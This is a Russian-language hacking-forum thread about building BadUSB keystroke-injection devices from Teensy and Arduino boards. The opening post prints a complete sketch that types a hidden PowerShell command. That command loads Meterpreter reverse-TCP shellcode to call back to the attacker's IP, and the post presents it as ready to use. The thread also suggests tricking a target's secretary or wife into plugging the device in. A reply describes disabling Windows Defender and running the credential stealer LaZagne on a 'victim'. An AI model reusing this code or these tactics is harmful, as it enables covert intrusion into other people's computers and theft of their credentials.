ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Электроника и Фрикинг (https://forum.antichat.xyz/forumdisplay.php?f=21)
-   -   Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck (https://forum.antichat.xyz/showthread.php?t=571821)

Night MIST 05.02.2020 15:56

https://forum.antichat.xyz/attachmen...f64f6c267d.png

Предисловие

Решил я как-то хозяйство дома завести, благо земли хватает вдоволь. Выбор остановил на утках. Знающие люди сказали, что от них куда больше пользы, чем от кур да и вкуснее они. Началось с того (как это частенько бывает), что узнал я про этих уток не из новостных лент, я практически от первоисточника, а точнее всеми любимого DEFCON-а. Заинтересовало меня их послание, хотя, если честно, не скажу, что я да и другие разработчики не догадывались об этом раньше, но ребята потрудились на славу и выдали миру весьма полезную информацию, касаемо этих самых уток и дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb.

Первый блин комом

Как водится у хорошего хозяина, не все сразу ладится, так как первый опыт разведения этой породы мерзо-уток по сути ничем хорошим не увенчался, трудности возникли уже на первом этапе, когда я заглянул в список, предлагаемых авторами проекта уязвимых девайсов, который в основном состоял из (нифига не дешевых на тот момент) USB 3.0 флэшек и тем паче еще и с довольно большим объемом памяти. Выложить ради сомнительных экспериментов пару косарей - перспектива, как мне тогда виделось, ничуть не радужная, но, чем не пожертвуешь ради науки. С горем пополам мне таки удалось найти необходимый девайс, потратив около (недели!!) на поиски. Вооружившись ноутбуком, распечатками ворованной спецификации на Phison 2251-03 и, собственно, самой уткой, я приступил к экспериментам. Ни одна банка Adrenaline была выпита, ни одна сигарета скурена, в итоге родилось устройство и оно заработало, не ахти как, если честно. Ожидаемые результаты сильно разнились с радужными предположениями, приходящими ко мне в красочных снах. Устройство было капризным, глючным, работало не всегда и не с первого раза, в связи с чем идея продолжения показалась мне утопической и была заброшена в "долгий ящик"...

Новая порода уток

И вот настала эра Teensy. Этот проект появился значительно позже, но в силу специфичности контроллера обещал быть куда более перспективным, чем колдунства с флэшками. Приобрел Teensy 3, и первым, что залил в него (кстати совсем без танцев с бубнами) через обычный Arduino IDE + модуль поддержки Teensy (следует заметить, что корректно устанавливался он только с версией IDE 1.8.0) со всеми остальными драйвера наотрез отказывались искать исполняемый файл иде-шки, был скетч открывающий сессию meterpreter на атакуемой машине на Windows. Контроллер мне понравился- работал шустро, бойко и безглючно. Единственной сложностью казался злополучный разъем Micro USB который я решил заменить на обычный. В итоге родилось вот что:

https://forum.antichat.xyz/attachmen...10fbc245d2.png

Teensy 3.1 в утиной шкуре

Сам скетч значительно отличался от тех детский писулек, которые представляли из себя rubber dack скрипты, написанные по принципу "подойди к окну, два раза подпрыгни, повернись налево..). Собственно вот сам скетч. KernelEquinox/Teensyterpreter

C++:


Код:

const
unsigned
int
ledPin
=
13
;
// My Teensy has the built-in LED on pin 13.
void
setup
(
)
{
pinMode
(
ledPin
,
OUTPUT
)
;
digitalWrite
(
ledPin
,
HIGH
)
;
delay
(
500
)
;
digitalWrite
(
ledPin
,
LOW
)
;
hurryUp
(
)
;
// Fucking drivers.
spawnReverseTCP
(
)
;
// This gets our shell.
}
void
loop
(
)
// This is a one-off program. Looping is irrelevant.
{
}
void
hurryUp
(
)
// Wait for the driver to finish installing.
{
boolean areWeThereYet
=
capsCheck
(
)
;
// Check and see if we can turn on Caps Lock yet.
while
(
areWeThereYet
==
capsCheck
(
)
)
// Spam the shit out of it if not.
{
returnCode
(
1
,
500
)
;
hitCaps
(
)
;
}
hitCaps
(
)
;
}
boolean
capsCheck
(
)
// Check if Caps Lock is on.
{
if
(
(
activeLEDs
(
)
&
2
)
==
2
)
{
return
true
;
}
else
{
return
false
;
}
}
unsigned
int
activeLEDs
(
)
// Keyboard LED status.
{
return
int
(
keyboard_leds
)
;
}
void
returnCode
(
unsigned
int
numBlinks
,
unsigned
int
halfDelay
)
{
unsigned
int
count
=
0
;
for
(
count
=
0
;
count
!=
numBlinks
;
count
++
)
{
digitalWrite
(
ledPin
,
HIGH
)
;
delay
(
halfDelay
)
;
digitalWrite
(
ledPin
,
LOW
)
;
delay
(
halfDelay
)
;
}
}
void
hitCaps
(
)
// Press the Caps Lock button.
{
Keyboard
.
set_key1
(
KEY_CAPS_LOCK
)
;
Keyboard
.
send_now
(
)
;
delay
(
100
)
;
clearKeys
(
)
;
}
void
clearKeys
(
)
// Empty the keystroke buffer.
{
Keyboard
.
set_modifier
(
0
)
;
Keyboard
.
set_key1
(
0
)
;
Keyboard
.
send_now
(
)
;
delay
(
100
)
;
}
void
killCaps
(
)
// Turn off Caps Lock.
{
if
(
capsCheck
(
)
)
{
hitCaps
(
)
;
}
}
void
spawnReverseTCP
(
)
// Start the real magic.
{
killCaps
(
)
;
// Turn off Caps Lock if it's on.
returnCode
(
1
,
100
)
;
// Keyboard is ready.
Keyboard
.
set_modifier
(
MODIFIERKEY_RIGHT_GUI
)
;
// Open the Run dialog.
Keyboard
.
set_key1
(
KEY_R
)
;
Keyboard
.
send_now
(
)
;
clearKeys
(
)
;
delay
(
1000
)
;
returnCode
(
1
,
100
)
;
// Run is ready.
Keyboard
.
print
(
"cmd.exe /T:01 /K mode CON: COLS=15 LINES=1"
)
;
// Start CMD small with dark text.
Keyboard
.
set_key1
(
KEY_ENTER
)
;
Keyboard
.
send_now
(
)
;
clearKeys
(
)
;
delay
(
3000
)
;
// Give CMD some time to appear.
returnCode
(
1
,
100
)
;
// CMD is ready.
// The next line sets the Powershell path based on our architecture.
Keyboard
.
println
(
"if exist C:\\Windows\\SysWOW64 ( set PWRSHLXDD=C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell) else ( set PWRSHLXDD=powershell )"
)
;
returnCode
(
1
,
100
)
;
// Everything is ready.
/* * * * * * * * * * * *
    *                    *
    *  Take the red pill. *
    *                    *
    * * * * * * * * * * * */
Keyboard
.
print
(
"%PWRSHLXDD% -nop -w hidden -c \"$1 = '$c = ''"
)
;
Keyboard
.
print
(
"[DllImport(\\\"kernel32.dll\\\")]public static ext"
)
;
Keyboard
.
print
(
"ern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwS"
)
;
Keyboard
.
print
(
"ize, uint flAllocationType, uint flProtect);[DllIm"
)
;
Keyboard
.
print
(
"port(\\\"kernel32.dll\\\")]public static extern In"
)
;
Keyboard
.
print
(
"tPtr CreateThread(IntPtr lpThreadAttributes, uint "
)
;
Keyboard
.
print
(
"dwStackSize, IntPtr lpStartAddress, IntPtr lpParam"
)
;
Keyboard
.
print
(
"eter, uint dwCreationFlags, IntPtr lpThreadId);[Dl"
)
;
Keyboard
.
print
(
"lImport(\\\"msvcrt.dll\\\")]public static extern I"
)
;
Keyboard
.
print
(
"ntPtr memset(IntPtr dest, uint src, uint count);''"
)
;
Keyboard
.
print
(
";$w = Add-Type -memberDefinition $c -Name \\\"Win3"
)
;
Keyboard
.
print
(
"2\\\" -namespace Win32Functions -passthru;[Byte[]]"
)
;
Keyboard
.
print
(
";[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,"
)
;
Keyboard
.
print
(
"0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,"
)
;
Keyboard
.
print
(
"0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,"
)
;
Keyboard
.
print
(
"0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,"
)
;
Keyboard
.
print
(
"0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,"
)
;
Keyboard
.
print
(
"0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,"
)
;
Keyboard
.
print
(
"0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,"
)
;
Keyboard
.
print
(
"0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,"
)
;
Keyboard
.
print
(
"0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,"
)
;
Keyboard
.
print
(
"0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,"
)
;
Keyboard
.
print
(
"0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,"
)
;
Keyboard
.
print
(
"0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,"
)
;
Keyboard
.
print
(
"0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,"
)
;
Keyboard
.
print
(
"0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,"
)
;
Keyboard
.
print
(
"0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,"
)
;
Keyboard
.
print
(
"0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,"
)
;
Keyboard
.
print
(
"0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,"
)
;
Keyboard
.
print
(
"0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,"
)
;
Keyboard
.
print
(
"0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,"
)
;
Keyboard
.
print
(
"0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,"
)
;
// Replace [0x@@,0x@@,0x@@,0x@@] with each part of your IP (in hex).
// Replace [0x@@,0x@@] with your open port (e.g. 65535 = 0xFF,0xFF)
// Don't forget to remove the [] brackets after editing.
Keyboard
.
print
(
"[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0"
)
;
// MAKE SURE YOU DELETE THE BRACKETS.
// DO NOT PASS GO UNTIL YOU DELETE THE BRACKETS.
Keyboard
.
print
(
"x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0"
)
;
Keyboard
.
print
(
"x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0"
)
;
Keyboard
.
print
(
"x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0"
)
;
Keyboard
.
print
(
"x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0"
)
;
Keyboard
.
print
(
"xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0"
)
;
Keyboard
.
print
(
"x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0"
)
;
Keyboard
.
print
(
"xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0"
)
;
Keyboard
.
print
(
"xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0"
)
;
Keyboard
.
print
(
"xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -"
)
;
Keyboard
.
print
(
"gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc"
)
;
Keyboard
.
print
(
"(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length"
)
;
Keyboard
.
print
(
"-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $"
)
;
Keyboard
.
print
(
"sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;"
)
;
Keyboard
.
print
(
"){Start-sleep 60};';$gq = [System.Convert]::ToBase"
)
;
Keyboard
.
print
(
"64String([System.Text.Encoding]::Unicode.GetBytes("
)
;
Keyboard
.
print
(
"$1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRo"
)
;
Keyboard
.
print
(
"ot + \\\"\\\\syswow64\\\\WindowsPowerShell\\\\v1.0"
)
;
Keyboard
.
print
(
"\\\\powershell\\\";$cmd = \\\"-nop -noni -enc \\\""
)
;
Keyboard
.
print
(
";iex \\\" $x86 $cmd $gq\\\"}else{$cmd = \\\"-nop -"
)
;
Keyboard
.
print
(
"noni -enc\\\";iex \\\" powershell $cmd $gq\\\";}\""
)
;
clearKeys
(
)
;
Keyboard
.
set_key1
(
KEY_ENTER
)
;
Keyboard
.
send_now
(
)
;
// Send the command.
delay
(
100
)
;
clearKeys
(
)
;
returnCode
(
1
,
1000
)
;
// All done.
}

Здесь нам достаточно просто вставить значения своего IP адреса и порта в HEX формате (в тексте кода это прокоментировано) и собственно можно сразу использовать. Работает четко и очень быстро. Тут вообщем пояснения излишни, девайс откроет шелл meterpreter reverse tcp открыли метасплоит и ждем "клиента". Единственный (как мне казалось на тот момент) минус девайса в том, что он нифига не persistence и после перезагрузки с долгожданной сессией можно распрощаться. Ну да фиг с ним. Не успел я толком наиграться с Teensy-уткой, как на птичий рынок повалили новые и доселе незведданные зверюшки всех парод и мастей заграничных...

Рождение царь-утки

Глаза разбегались от такого ассортимента, но я остановил свой выбор на этот раз на Arduino pro micro (некое подобие Leonardo, но куда более миниатюрное) на очень интересном контроллере ATMEGA 32U4. Его спецификация прямо скаже внушала доверие. 16Мгц процессорной шустрости, 32 КБ памяти для программулек и, самая важная вишенка на торте- наличие на борту полноценного порта USB. То есть не того жалкого подобия, которым оснащены отладочные платы других ардуинок, которые являются ни чем иным, как просто входом UART программатора для прошивки, а именно полноценным портом со всеми вытекающими... Я купил два вот таких зверька-

https://forum.antichat.xyz/attachmen...a8cb8f0790.png

Две вариации ARDUINO PRO Micro

и счастливый поехал эксперементировать. Вот тут моя радость была несколько омрачена очередными танцами с бубном. Так система определяет подключенное устройство по команде lsusb

https://forum.antichat.xyz/attachmen...8dbae53932.png

В очередной раз порадовал Linux -вообще никаких заморочек с установкой дров... Теперь о бубнах и о танцах. Бединушка, собственно в том, что нет на плате кнопки reset так как братья Китайцы, хоть и радуют нас постоянно своими новинками, но все же почему то решили, что плата сама должна отработать команду RESET при прошивке, так вот именно здесь мы и наступаем на первые грабли. Залив любой скетч эмуляции клавиатуры, мы уже заставляем наш девайс вести себя как клавиатура, как только он унюхает 5 вольт питания, и вот здесь начнутся разногласия, при попытке залить новый скетч. То есть -мы заливаем скетч через USB разъем, выбирая созданый платой виртуальный (именно ВИРТУАЛЬНЫЙ!) порт, который она создает, но поскольку в нейт уже залит наш предыдущий скетч, работающий как эмулятор клавиатуры, то соответственно наблюдаем конфликт интересов. Плата наотрез отказывается делиться портом, используемым для выполнения программы с ARDUINO IDE которая хочет заюзать этот же порт под свои (а точнее наши) не менее корымтные цели. Ну вы примерно поняли, о чем идет речь, но это не все траблы, которые скрываются в утиной шкуре... Теперь включаем воображение и пытаемся представить проблемму в общеглобальном масштабе. Мы залили скетч в нашу про-микро, который, например, открывает на VICTIM машине Powershell, выполняя ряд манипуляций с командной строкой и прописывая туда необходимые команды, но мы надумали залить туда скетч новый, скомпилировали в IDE, вставили про-микро в порт и.... началась свистопляска под рок-музыку.

Представьте что в процессе ваших манипуляций с новой прошивкой к компу подключили еще одну клавиатуру и какой-то чувак начал клацать на ней свои команды. Теперь суть проблеммы в полной мере?))) Логичен вывод, что для загрузки скетча в нашу утку, нужно нажать reset и тем самым остановить выполнение программы, но тут еще одна проблемма всплывает- когда вы жмете reset (к слову его нужно вывести самостоятельно на кнопку. На плате его нет) то виртуальный порт, который мы уже выбрали в Arduino ide попросту пропадает и ИДЕ-шка начинает материться нехорошими словами , оповещая нас о недоступности порта. Натанцевавшись с бубном вдоволь, нашел таки решение- вставлять утку нужно с зажатой кнопкой резет и отпускать ее перед надписью UPLOAD тогда иде должна подхватить порт девайса.

Но важное замечание - ОЧЕНЬ желательно, чтобы никаких других устройст USB (кроме клавы и мыши) подключено не было, в этом случае ИДЕ автоматом подхватит порт, который появится в списке доступных после подключения про-микро. Ну на этом танцы с бубном, вроде закончились. В ардуино ИДЕ платы PRO Micro не существует, выбирать нужно Leonardo, да собственно и загрузчик китайцы зашили туда леонардовский.

Утята учатся летать

Итак поколение уток вырастил. Доволен всем, примеры скетчей приводить не стал, так как в сети их полно и восновном ничего нового, аж скучно, но вот бесконечные блуждания по глубинам Github вывели меня на спаривание Pro-micro с esp-12 модулем, что позволит управлять нашей уткой по воздуху. Ура-летим!
Что же мы получим в итоге?

https://forum.antichat.xyz/attachmen...6dfb682fcb.png

Гибрид Arduino pro nicro и ESP8266 (ESP-012) со стороны преобразователя 3.3 в

https://forum.antichat.xyz/attachmen...d67884d33f.png

то-же с торца. Видно спаяные все 3 модуля.

гибрид получился весьма маленький и размером не больше флэшки. После нижеописанных манипуляций с прошивкой, вставляем девайс в комп и наблюдаем следующую картину- esp- ха поднимает точку доступа (ее настройки можно изменить при первом запуске либо в самом коде) подключившись к которой мы заходим на вэб морду пунктом управления уткой.

https://forum.antichat.xyz/attachmen...b5d0a95422.png

вэб панель управления уткой

Здесь раздолье для работы. Скрипты можно писать прямо здесь и отдавать команду на запуск. Можно поставить на автозапуск любой из них. Можно их сохранять прямо в память и называть как угодно для удобства. Можно скрипт скачать на комп или телефон а так же закачать на утку с компа или телефона просто методов копи-паста текста кода прямо в окно редактирования. Любой сохраненный скрипт можно отредактировать либо вообще удалить за ненадобностью. Предусмотрен даже терминал UART дляя общения с устройством по принципу двухстороннего монитора порта. Вобщем арсенал внушительным оказался.

https://forum.antichat.xyz/attachmen...d73e78c0ee.png

словарь с командами под рукой. очень удобно

https://forum.antichat.xyz/attachments/4870089/333.png

меню настройки Wifi

https://forum.antichat.xyz/attachmen...93579cbe5a.png

UART терминал тоже под рукой с HELP страницей

Но и здесь не все так гладко. Дело в том, что на плате Arduino pro-micro нет вывода питания 3.3 вольта, которое необходимо для ESP-12 (Совсем забыл- использовать нужно именно 12 либо 07 но с объемом флэш памяти 3М иначе на написание скриптов памяти не останется.) Всвязи с чем пришлось ставить малюсенькую платку преобразователя 5V-3.3V и как минимум на 500 мА, так как ESP оказалась весьма "жадной до току" и жрет в режиме работы аж 150 мА временами. В процессе работы вся конструкция греется. Не скажу, что прямо сильно, но греется. На работу никак не влияет (в плохом смысле). Вот собственно сам GitHub этого проекта (замечу, три месяца назад обновился, а обновление можно прошить прямо через вэб морду)




GitHub - SpacehuhnTech/WiFiDuck: Wireless keystroke injection attack platform

Wireless keystroke injection attack platform . Contribute to SpacehuhnTech/WiFiDuck development by creating an account on GitHub.

github.com


В прошивке этих девайсов сложностей нет, за исключением того, что было описано выше насчет бубнов с прошивкой Pro micro. Касаемо ESP , то один нюанс все же есть. Она должна шиться как плата Dstrike ESP8266 но о этих нюансах подробно написано на сайте проекта.

Имя нам - легион!

Казалось-бы о чем еще то мечтать? Получили в распоряжение летающую утку, да еще и ручную! Сделаешь все, что скажет. Но нет же... Нет предела человеческой фантазии и нет границ возможностей... И вот в этом штиле благополучия утиного зародился вообще умопомрачительный проект новой утки, которую автор наградил искуственным интеллектом. Хоть, как предыдущая. летать она не умеет, зато умеет она автоматически определять машину, в которую ее воткнули, точнее систему. установленную на этой машине и в соответствии результатами сканирования выполнять заранее заготовленный код для той или иной системы. Где это может быть полезно для Нас-исследователей и для Них-злоумышленников?

А вот Вам пару примеров. Пришли вы к потенциальной жертве, а у жертвы стоит на компе винда с линуксовой оболочкой либо с маковской (ну знаете, есть такие фичи) Времени разбираться что за система нет. Воткнули по быстрому, утка сама разберется и все сделает. Вот еще пример: Вашу рожу потенциальная жертва узнает и в толпе на площади и вход к нему (ней) в кабинет Вам заказан. Зато Вы нет-нет загуливаете с его секретаршей или (не дай Бог женой) в пьяном угаре, пока Его в командировку отправили. И вы всучиваете утку той самой "жене-секретарше" так как ввиду ее блондинистости она не сможет вам внятно объяснить, какая операционка стоит на Его компе. Да и вообще едва ли научилась выговаривать это слово "операционка".. Суть вобщем ясна. В данном "дефолтном" варианте код практически пустой. Соответствующие команды для выполнения в случае
обнаружения той или иной ОС необходимо дописать вручную по вашему желанию, что они должны будут делать. Краткий гайд по установки из README.
  1. Скачать данный репозиторий - joelsernamoreno/PoC-BadUSB_DetectOS
  2. Распоковать (или клонировать) в рабочую папку Arduino
  3. Папку Keyboard из libraries папки проекта скопировать в папку Libraries рабочей папку Arduino
  4. Папку FingerprintUSBHost так-же скопировать в Libraries рабочей папки Arduino
  5. Открываем скетч PoC-BadUSB_DetectOS.ino в ARDUINO IDE
  6. Выбираем плату Arduino Leonardo и соответствующий порт
  7. Компилируем и загружаем на плату.
В дефолтном виде код просто определяет систему на машине жертвы и открыват текстовй редактор прописывая банальный HELLO WORLD

Но. Заменив этот код своей полезной нагрузкой получаем боевую машину

Красным выделен участок кода, который относится к определенной и именно он выполняется после определения ОС. Соответственно его мы и меняем на свой. Аналогично и с другими операционками.

https://forum.antichat.xyz/attachmen...27361b94d1.png

код скрипта определяющего ОС Windows с исполняемой частью

Заключение

Утиная ферма растет и развивается, значит мои надежды оправдались. Технологии летят вперед с астрономической скоростью и порой за ними трудно угнаться. Вот и мы с вами стали свидетелями стремительного развития совсем недавно родившегося проекта BADUSB. Единственное, чем хотелось бы дополнить утку последней ревизии- это автоопределение раскладки клавиатуры, но это тема уже была описана ранее и осталось найти время, чтобы скомпоновать все в одно целое...

Zer0must2b 05.02.2020 17:31

В магазине нетХантер есть апкшка для управления подобным,к слову

Night MIST 05.02.2020 17:34

Цитата:


Zer0must2b сказал(а):

В магазине нетХантер есть апкшка для управления подобным,к слову


не совсем понял, о чем именно речь идет?

Zer0must2b 05.02.2020 17:39

WHID Injector для управления
А мгз. нетХантер ет форк f-droid с приложухами для упомянутого,термиксы, виглы и тд.

Night MIST 05.02.2020 17:41

Цитата:


Zer0must2b сказал(а):

WHID Injector для управления
А мгз. нетХантер ет форк f-droid с приложухами для упомянутого,термиксы, виглы и тд.


Так а зачем он нужен? Через вэб отлично все работает

Zer0must2b 05.02.2020 17:44

Там забиндены комбинации кнопок, и набор основных скриптов под разные системы, можеш потестить

f22 06.02.2020 09:37

А чем не понравился ESP-32? Там и Wi-Fi, и Bluetooth, и производительность от 80Мгц до 240МГц.

Ну а если говорить о совсем уж полноценном USB, есть вот такая интересная плата на Digispark на ATtiny85

А вот небольшое видео от гайвера с разными "шутками" с похожей железкой

Night MIST 07.02.2020 00:01

Цитата:


f22 сказал(а):

А чем не понравился ESP-32? Там и Wi-Fi, и Bluetooth, и производительность от 80Мгц до 240МГц.

Ну а если говорить о совсем уж полноценном USB, есть вот такая интересная плата на Digispark на ATtiny85

А вот небольшое видео от гайвера с разными "шутками" с похожей железкой

85 просто не хватит памяти

Zer0must2b 07.02.2020 06:07

А Pro mini 328 5V/16Mhz Arduino с Wi-Fi ESP8266 для Arduino или. Esp8266-01(s) подойдёт?

Zer0must2b 07.02.2020 06:16

Или Arduino Nano V3.0

Night MIST 07.02.2020 12:53

нет у них порта usb

GhostPirat 02.03.2020 21:39

можно же к AtTiny85 по I2C присоединить любую ардуинку или вообщес STM-32 и к ней уже еспишку и всё. только бутерброд большой получится, но хорошо использовать с платами, которые не могут общаться с компом сами

Tihon49 03.03.2020 14:16

У меня есть bad usb и обычная флешка (далее флешка №1) на которой запароленный .sfx.exe архив с лазаньей и батник на отключение windows defender'а.

суть в том что сначала вставляю в "жертву" обычную флешку, затем bad usb который:

1. открывает cmd от админа
2. заходит на мою флешку №1 и запускает батник для откоючения win defendera
3. разархивирует запараоленный архив
4. запускает лазанью (точнее батник для запуска лазаньи с необходимыми аргументами)
5. закрывает все окна
все.

Проблема в том, что никогда не знаешь какая будет буква у флешки №1.
я решил это как смог, но это фигня какая-то:

Bash:


Код:

Keyboard.print
(
"d:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"e:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"f:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"g:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"h:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"i:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"j:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"k:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;

в принципе, этот костыль работает т.к. успешно находит флешку по принципу - последняя из имеющихся букв носителя.
Можно как-то попасть на флешку без этого костыля, указав имя флешки?

Night MIST 03.03.2020 22:51

Цитата:


Tihon49 сказал(а):

У меня есть bad usb и обычная флешка (далее флешка №1) на которой запароленный .sfx.exe архив с лазаньей и батник на отключение windows defender'а.

суть в том что сначала вставляю в "жертву" обычную флешку, затем bad usb который:

1. открывает cmd от админа
2. заходит на мою флешку №1 и запускает батник для откоючения win defendera
3. разархивирует запараоленный архив
4. запускает лазанью (точнее батник для запуска лазаньи с необходимыми аргументами)
5. закрывает все окна
все.

Проблема в том, что никогда не знаешь какая будет буква у флешки №1.
я решил это как смог, но это фигня какая-то:

Bash:


Код:

Keyboard.print
(
"d:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"e:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"f:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"g:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"h:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"i:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"j:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;
Keyboard.print
(
"k:"
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
200
)
;
typeKey
(
KEY_RETURN
)
;
delay
(
500
)
;

в принципе, этот костыль работает т.к. успешно находит флешку по принципу - последняя из имеющихся букв носителя.
Можно как-то попасть на флешку без этого костыля, указав имя флешки?


Хорошая стратегия, но я бы на Вашем месте реализовал бы определение системы жертвы (код был выше в теме) а потом реализовал атаку

Цитата:


Night MIST сказал(а):

Хорошая стратегия, но я бы на Вашем месте реализовал бы определение системы жертвы (код был выше в теме) а потом реализовал атаку


Вы заточили код под винду, но в современной интерпритации мира это не практично

f22 03.03.2020 23:17

Цитата:


Tihon49 сказал(а):

Можно как-то попасть на флешку без этого костыля, указав имя флешки?


Могу предложить ещё 2 варианта
1. Закодировать sfx архив в base64 строку и после запуска, сохранять его где-то на диске жертвы. (Если, конечно хватит памяти на bad usb, если нет, использовать кардридер)
2. Скачивать этот же архив из интернета.

Night MIST 03.03.2020 23:32

Цитата:


f22 сказал(а):

Могу предложить ещё 2 варианта
1. Закодировать sfx архив в base64 строку и после запуска, сохранять его где-то на диске жертвы. (Если, конечно хватит памяти на bad usb, если нет, использовать кардридер)
2. Скачивать этот же архив из интернета.


Идея хороша. Есть конкретные предложения по реализации? Микро питон или стандартный код? Я суть понял, но пока не совсем представляю реализацию в коде

Night MIST 03.03.2020 23:49

Кто не видел- повторюсь (скетч для ардуино и процессора atmega 32u . Скрипт автоматом распознает систему целевой машины и совершает атаку соответственно заранее прописанному алгоритму
)

f22 04.03.2020 00:11

Цитата:


Night MIST сказал(а):

Кто не видел- повторюсь (скетч для ардуино и процессора atmega 32u .)


Стоило, конечно, дать официальный репозиторий ребят. (там модели печатных плат присутствуют) Глядишь, и обновят чего...
joelsernamoreno/BadUSB-Cable

Цитата:


Night MIST сказал(а):

скетч для ардуино и процессора atmega 32u


Точнее не процессор, а микроконтроллер и не atmega, а 8-битный AVR микроконтроллер ATtiny85

Цитата:


Night MIST сказал(а):

Скрипт автоматом распознает систему целевой машины и совершает атаку соответственно заранее прописанному алгоритму


Не совсем корректное описание.
Скрипт, действительно, распознаёт систему, на которой запущен, открывает консоль, вызывает стандартный блокнот и пишет в нём "Hello world".
Алгоритм нужно писать/искать/додумывать самому

Цитата:


Night MIST сказал(а):

Идея хороша. Есть конкретные предложения по реализации? Микро питон или стандартный код? Я суть понял, но пока не совсем представляю реализацию в коде


А какая разница? На выходе обычная строка получается.
Реализация очевидна - после преобразования exe файла в Base64 у тебя получится обычный текст, его загружаешь в ардуину и потом на другом компе конвертируешь обратно.

Цитата:


# encode from binary file to base64txt
powershell -C "& {$outpath = (Join-Path (pwd) 'out_base64.txt'); $inpath = (Join-Path (pwd) 'data.jpg'); [IO.File]::WriteAllText($outpath, ([convert]::ToBase64String(([IO.File]::ReadAllBytes($inpath)))))}"

# decode from base64txt to binary file
powershell -C "& {$outpath = (Join-Path (pwd) 'outdata2.jpg'); $inpath = (Join-Path (pwd) 'out_base64.txt'); [IO.File]::WriteAllBytes($outpath, ([convert]::FromBase64String(([IO.File]::ReadAllText($inpath)))))}"



